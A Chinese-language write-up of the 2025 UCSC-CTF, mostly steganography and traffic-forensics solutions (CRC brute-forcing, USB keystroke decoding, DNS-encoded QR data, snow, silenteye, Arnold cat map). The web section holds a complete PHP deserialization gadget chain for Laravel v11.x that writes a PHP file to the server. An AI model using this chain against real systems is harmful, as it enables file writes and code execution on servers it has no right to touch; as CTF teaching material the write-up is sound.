2025-UCSC-CTF


web

直接dirsearch扫描得flag.php即可

预期解打Laravel v11.x PHP反序列化漏洞分析(CVE-2024-40075)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
namespace Termwind\ValueObjects{
    Class Styles{
        private array $textModifiers;
        private array $properties;
        public function __construct(){
            $this->textModifiers = ["file_put_contents"];
            $this->properties = ["styles"=>"<?php phpinfo();?>", "parentStyles"=>0];
        }			#命令稍微改一下就能打了
    }
}
namespace Termwind\Components{
    use Termwind\ValueObjects\Styles;
    abstract Class Element{
        protected string $content;
        protected Styles $styles;
        public function __construct()
        {
            $this->content = 'testtesttest.php';
            $this->styles = new Styles();
        }
    }
    Class Hr extends Element{}
}
namespace Psy\Readline\Hoa{
    use Termwind\Components\Hr;

    abstract Class Stream{
        protected $_bucket;
        public function __construct(){
            $this->_bucket = [new Hr()];
        }
    }
    Class FileRead extends Stream {}
}

namespace Monolog\Handler{
    use Psy\Readline\Hoa\FileRead;
    Class GroupHandler{
        protected array $handlers;
        public function __construct(){
            $this->handlers = [new FileRead()];
        }
    }
}

namespace {
    $obj = new Monolog\Handler\GroupHandler();
    echo base64_encode(serialize($obj));
}

Laravel v11.x PHP反序列化漏洞分析(CVE-2024-40075)-先知社区

misc

three-ucsc

盲水印命令

1
java -jar BlindWatermark-v0.0.3.jar decode -f signwithflag.png flag.png 
image-20250420140403286

得到8f02d3e7

然后二进制转base64转摩斯

image-20250420140328613

-ce89-4d6b-830e-

流量包追逐流一翻找到part3密码

image-20250420140653117

得到5d0cb5695077

最终flag{8f02d3e7-ce89-4d6b-830e-5d0cb5695077}

小套不是套

第一个二维码一扫得到tess的密码!@#QWE123987。

第二层是个伪加密,09改00

image-20250420194024676

得到图片

image-20250420194502259

补充残缺的png头+Our Secret解密

010打开,FFD9其实是给确少png文件头的png。为什么?首先png文件头格式是

1
89 50 4E 47 0D 0A 1A 0A

且一定有IHDR数据块

image-20250420203019642

然后0D 0A 1A 0A开始复制到png文件尾(IEND块00 00 00 00 49 45 4E 44 AE 42 60 82

image-20250420203639217

在这段数据块前添加png文件头89 50 4E 47就组成了一个新的图片

image-20250420203746226

但是其实不对,后面的数据块也要加上,因为这个特征是oursecret隐写

image-20250420230016180

后面其实这就是隐藏的数据,所以用Our Secret来解密(文档隐藏,解密工具)

image-20250420205514877

crc爆破

但是Our Secret解密需要密钥,所以肯定来自于套.zip,看里面全是很小字节的文件,再看看crc,那肯定是crc爆破(爆破每一个压缩包的CRC值获取有意义的字符串)

image-20250420211513513

网上没有什么按顺序自动化的提取压缩包crc并爆破crc得到结果,下面这个可以很快的提取crc,但是爆破很慢,而且不能将爆破后的crc结果按顺序拼接在一起,不过可以用它提取出crc,然后我们写脚本爆破!

工具GitHub - AabyssZG/CRC32-Tools: Easy CRC32 Tools,so easy!!!

CTF-Misc Guide - ⚡Lunatic BLOG⚡

1
python CRC32-Tools.py -4 套.zip
image-20250420220527765

很快就提取出来了,然后让ai将这些crc按文件顺序排序,再爆破,再拼接就好了。(其实将这堆数据给ai,让它排序,它就自动排序了)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import binascii
import string
from itertools import product

# =================配置区=================
CRC_LIST = [
    0x9a70f44a, 0xed3cf30c, 0xc31b9eed, 0x80ea10ee, 0x3c9f215d,
    0xb8afb3a5, 0x970e9680, 0x7dd1f5d4, 0x9b2bb671, 0xca796ad9,
    0xc7886351, 0x684cb228, 0x4fba3a6e, 0x2ebcaa7d, 0xaa6c9f1b,
    0x956b6759, 0xcbaa5851, 0x37e61f54, 0xe1157dcf, 0x999a3789,
    0x1908fc9a, 0xf73f4991, 0x597cd643, 0xd2fe5d72, 0xc91c7092,
    0x790fe28f, 0x2c1a0170, 0x2523e64a, 0x5b4282f2, 0x2860a82f

]

CHARSET = string.printable[:-5]  # 可打印字符排除控制字符
THREADS = 8  # 多线程加速配置
# ========================================

def crack_crc(target_crc):
    """CRC32爆破核心函数"""
    for combo in product(CHARSET, repeat=4):
        data = ''.join(combo).encode()
        if binascii.crc32(data) & 0xFFFFFFFF == target_crc:
            return data.decode()
    return "????"  # 未找到时的占位符

def main():
    # 按文件名数字顺序处理
    sorted_crc = sorted(
        [(i+1, crc) for i, crc in enumerate(CRC_LIST)],
        key=lambda x: x[0]
    )

    # 爆破并拼接结果
    flag_parts = []
    for idx, crc in sorted_crc:
        print(f"[*] 正在爆破 f{idx}.bin (0x{crc:08x})...")
        result = crack_crc(crc)
        flag_parts.append(result)
        print(f"[+] f{idx}.bin -> {result}")

    # 处理填充并输出flag
    full_flag = ''.join(flag_parts).rstrip('\x00')
    print("\n=================最终结果=================")
    print(f"{full_flag}")

if __name__ == "__main__":
    main()
image-20250420225325259 image-20250420222734138

再随波逐流梭哈一下得到Key is SecretIsY0u,所以密钥就是SecretIsY0u

1
2
3
提一句:这个工具可以爆破,但是由于前面提取就不是按顺序,所以把爆破后拼接顺序也不对,其实可以让gpt将这些crc碰撞的值按文件顺序拼接就可以得到正确的结果。

但是这个工具只能4字节以下,但是crc爆破范围是18字节以下,如果遇到其实也只需要找脚本把文件的crc提取出来再用上面的脚本就好了,这个工具纯省力,运气好梭哈。
image-20250420222122635

当然这里偷了一个大佬的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from binascii import crc32
import string
import zipfile
dic=string.printable
def CrackCrc(crc):
    for i in dic :
        # print (i)
        for j in dic:
            for p in dic:
                for q in dic:
                    s=i+j+p+q
                    # print (crc32(bytes(s,'ascii')) & 0xffffffff)
                    if crc == (crc32(bytes(s,'ascii')) & 0xffffffff):
                        print (s)
                        return
 
def getcrc32(fname):
    l=[]
    file = fname
    f = zipfile.ZipFile(file, 'r')
    global fileList
    fileList =f.namelist ()
    print (fileList)
    # print (type(fileList))
    for filename in fileList:
        Fileinfo = f.getinfo(filename)
        # print(Fileinfo)
        crc = Fileinfo.CRC
        # print ('crc',crc)
        l.append(crc)
    return l
 
def main (filename=None):
    l = getcrc32(filename)
    # print(l)
    for i in range(len(l)):
        print(fileList[i], end='的内容是:')
        CrackCrc(l[i])
 
if __name__  == "__main__":
    main ('test.zip')

运行python crc32.py即可,这个更慢,但是没什么字节限制

爆破之后就是解密了

image-20250420223610522

这题套题有点难受:伪加密+补全残缺png+crc爆破+our Secret解密

USB

CTF中我的USB键盘鼠标流量解密指南和脚本 - FreeBuf网络安全行业门户

CTF – CTF中我的USB键盘鼠标流量解密指南和脚本

USB - 流量分析 - 流量 | nnnpc’s Blog = 低头学习 抬头看路 = 很多人已经做到了,而他们都曾经和现在的你站在同样的起点上

先去kali执行命令提取数据

1
tshark -r flag.pcap  -T fields -e usbhid.data | sed '/^\s*$/d' > data.txt

然后写代码解密即可

本来想用上面文章的工具,但是脚本还需要根据实际情况修改,所以索性直接gpt写脚本处理提取出来的data.txt

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 自定义 HID 映射表(十六进制小写字符串作为键)
hid_keymap = {
    "04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
    "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
    "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
    "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
    "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=",
    "2f": "[", "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",",
    "37": ".", "38": "/", "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>",
    "3e": "<F5>", "3f": "<F6>", "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>",
    "45": "<F12>", "46": "<PRTSC>", "47": "<SCRLK>", "48": "<PAUSE>", "49": "<INS>", "4a": "<HOME>",
    "4b": "<PGUP>", "4c": "<DEL_FWD>", "4d": "<END>", "4e": "<PGDN>", "4f": "<RIGHT>", "50": "<LEFT>",
    "51": "<DOWN>", "52": "<UP>", "53": "<NUMLOCK>", "54": "/", "55": "*", "56": "-", "57": "+",
    "58": "<ENTER>", "59": "1", "5a": "2", "5b": "3", "5c": "4", "5d": "5", "5e": "6", "5f": "7",
    "60": "8", "61": "9", "62": "0", "63": ".", "64": "<NONUS_BACK>", "65": "<APP>", "66": "<POWER>",
    "67": "=", "68": "<F13>", "69": "<F14>", "6a": "<F15>", "6b": "<F16>", "6c": "<F17>", "6d": "<F18>",
    "6e": "<F19>", "6f": "<F20>", "70": "<F21>", "71": "<F22>", "72": "<F23>", "73": "<F24>"
}

# 加载 USB HID 数据文件
input_file = "1.txt"  # 替换为你的实际路径
with open(input_file, "r") as f:
    lines = f.read().splitlines()

# 解析数据并还原按键
keystrokes = []
for line in lines:
    if len(line) >= 8:
        hex_code = line[6:8].lower()
        key = hid_keymap.get(hex_code, '')
        keystrokes.append(key)

# 输出完整的按键还原结果(包括控制符号)
reconstructed_text = ''.join(keystrokes)
print(reconstructed_text)

当然上面的3篇文章也讲述了鼠标流量。这里代码参考UCSCCTF2025 - Misc - WriteUp|2hi5hu-研习足迹

No.shArk

先把所有可疑文件全部dump出来

image-20250422114434559 image-20250422114459409

经过分析,发现可疑文件cat.png(010打开发现key)

image-20250422184730142

png末尾有keyis:keykeyishere,不知道啥用先放这

dns协议隐写

这时候发现有些流量包含有大量01数据,显然很可疑

image-20250422190442769

根据流量地址用tshark导出

1
tshark -r complete.pcapng -T fields -e dns.qry.name -Y ' ip.dst == 114.114.114.114' | sed '/^\s*$/d' | uniq > data.txt

去除无用数据,放到010文本编辑器

image-20250422192539534

乍一看不就是二维码嘛,直接写代码转换为二维码(由于这个数据有25行,51列,所以横向2字符一像素)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from PIL import Image
import numpy as np

# 原始数据
data_str = """
11111111111111001100000000001100110000000000000000
11000000000011001100001111111100000000000000000000
11001111110011001111000011000011110000000000000000
11001111110011001111110011000000110000000000000000
11001111110011000011110011001100110000000000000000
11000000000011001111110000000000110000000000000000
11111111111111001100110011001100110000000000000000
00000000000000000000111100110011110000000000000000
11110000111111000000110011110000000000110011111111
00001111111100001100000000111111110011001111001111
11110011000011001111110000000011001111111100110000
00001100001100000011000011001111110000111100111100
11001100111111000000001100111100001111001111000011
11000000001100111111110011000011111100001111111100
00000000000011000011001111111111110000000000001100
00000000000000001111111100110011111100110000110000
11111111001111001100000011110000111111111100000000
00000000000000001100000000111100110000001111001111
00000000000000000000110000000011110011001111000000
00000000000000001100000011001100110000001100111111
00000000000000001111111100111100111111111100110011
00000000000000000011110011000011001111110000111111
00000000000000000011001111111111111100110000111100
00000000000000001111111100110011001111000011111100
00000000000000001100000011110011000011110011111111
"""

# 解析数据
lines = data_str.strip().split('\n')
height = len(lines)
width = len(lines[0]) // 2  # 每两个字符表示一个像素

# 创建图像数组
image_array = np.zeros((height, width), dtype=np.uint8)

for y, line in enumerate(lines):
    for x in range(0, len(line), 2):
        pixel = line[x:x + 2]
        if pixel == '11':
            image_array[y, x // 2] = 0  # 黑色
        elif pixel == '00':
            image_array[y, x // 2] = 255  # 白色

# 创建图像
img = Image.fromarray(image_array, mode='L')
img = img.resize((width * 10, height * 10), resample=Image.NEAREST)
img.save("output_image.png")
img.show()
image-20250422203006916

但是少了2个定位符,直接上ps,将左上的定位符ps上去

image-20250422202757288

微信扫码得到Y0U_Fi8d_ItHa@aaHH(微信识别二维码功能很强,我ps技术不好很多二维码识别工具都不好识别,但是微信可以)

snow隐写

然后发现w1.html也很可疑,发现其数据里有大量制表符。

image-20250422185322450

刚好符合snow隐写

image-20250422185109297

然后snow解密得到一半flag。但是前面的key试了不对,所以试这个二维码扫出的值,

1
snow.exe -C -p password filename
image-20250422203720090

11ef-b3b6-a4b1c1c5a2d2}

jpg silenteye隐写

但是我们从FTP-DATA导出来一jpg,还一个密钥没用,所以这里想到考关于jpg隐写,尝试一番想到silenteye,密码是前面的key,得到3个字符与其值

image-20250422204124804

shuffle=5,a=7,b=3

Arnold猫脸变换

这里由这些参数和cat.png与宽高大小相等可以想到猫脸变换(变换后图像变成了像白噪声一样无意义的图像,符合图像。并且其只要确定shuffle,a,b这三个参数即可还原图片)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import matplotlib.pyplot as plt
import cv2
import numpy as np
from PIL import Image

img = cv2.imread('cat.png')


def arnold_encode(image, shuffle_times, a, b):
    arnold_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h  # 或N=w

    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = (1 * ori_x + b * ori_y) % N
                new_y = (a * ori_x + (a * b + 1) * ori_y) % N
                arnold_image[new_x, new_y, :] = image[ori_x, ori_y, :]

        image = np.copy(arnold_image)

    cv2.imwrite('flag_arnold_encode.png', arnold_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
    return arnold_image


def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h  # 或N=w

    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
                new_y = ((-a) * ori_x + ori_y) % N
                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]

    cv2.imwrite('flag.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
    return decode_image


# arnold_encode(img, 1, 2, 3)
arnold_decode(img, 5, 7, 3)
image-20250422211219905

当然其实什么参数不知道也行,直接爆破参数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import matplotlib.pyplot as plt
import cv2
import numpy as np

def arnold_decode(image, shuffle_times, a, b):
    decode_image = np.zeros(shape=image.shape)
    h, w = image.shape[0], image.shape[1]
    N = h  # 或N=w
    for time in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                # 按照公式坐标变换
                new_x = ((a * b + 1) * ori_x + (-b) * ori_y) % N
                new_y = ((-a) * ori_x + ori_y) % N
                decode_image[new_x, new_y, :] = image[ori_x, ori_y, :]
        image = np.copy(decode_image)
        
    return image

def arnold_brute(image,shuffle_times_range,a_range,b_range):
    for c in range(shuffle_times_range[0],shuffle_times_range[1]):
        for a in range(a_range[0],a_range[1]):
            for b in range(b_range[0],b_range[1]):
                print(f"[+] Trying shuffle_times={c} a={a} b={b}")
                decoded_img = arnold_decode(image,c,a,b)
                output_filename = f"flag_decodedc{c}_a{a}_b{b}.png"
                cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])
                
if __name__ == "__main__":
    img = cv2.imread("download.png")
    arnold_brute(img, (1,6), (1,11), (1,11))

考的很多,dns隐写+snow隐写+silenteye隐写+猫脸变换,甚至还考一点二维码,很难了

参考:

2025 UCSCCTF Misc Writeup - ⚡Lunatic BLOG⚡

UCSCCTF2025 - Misc - WriteUp|2hi5hu-研习足迹

猫映射(Arnold变换),猫脸变换介绍与基于例题脚本的爆破 - Alexander17 - 博客园

arnold cat 变换 (猫脸变换) | 独奏の小屋

谢谢观看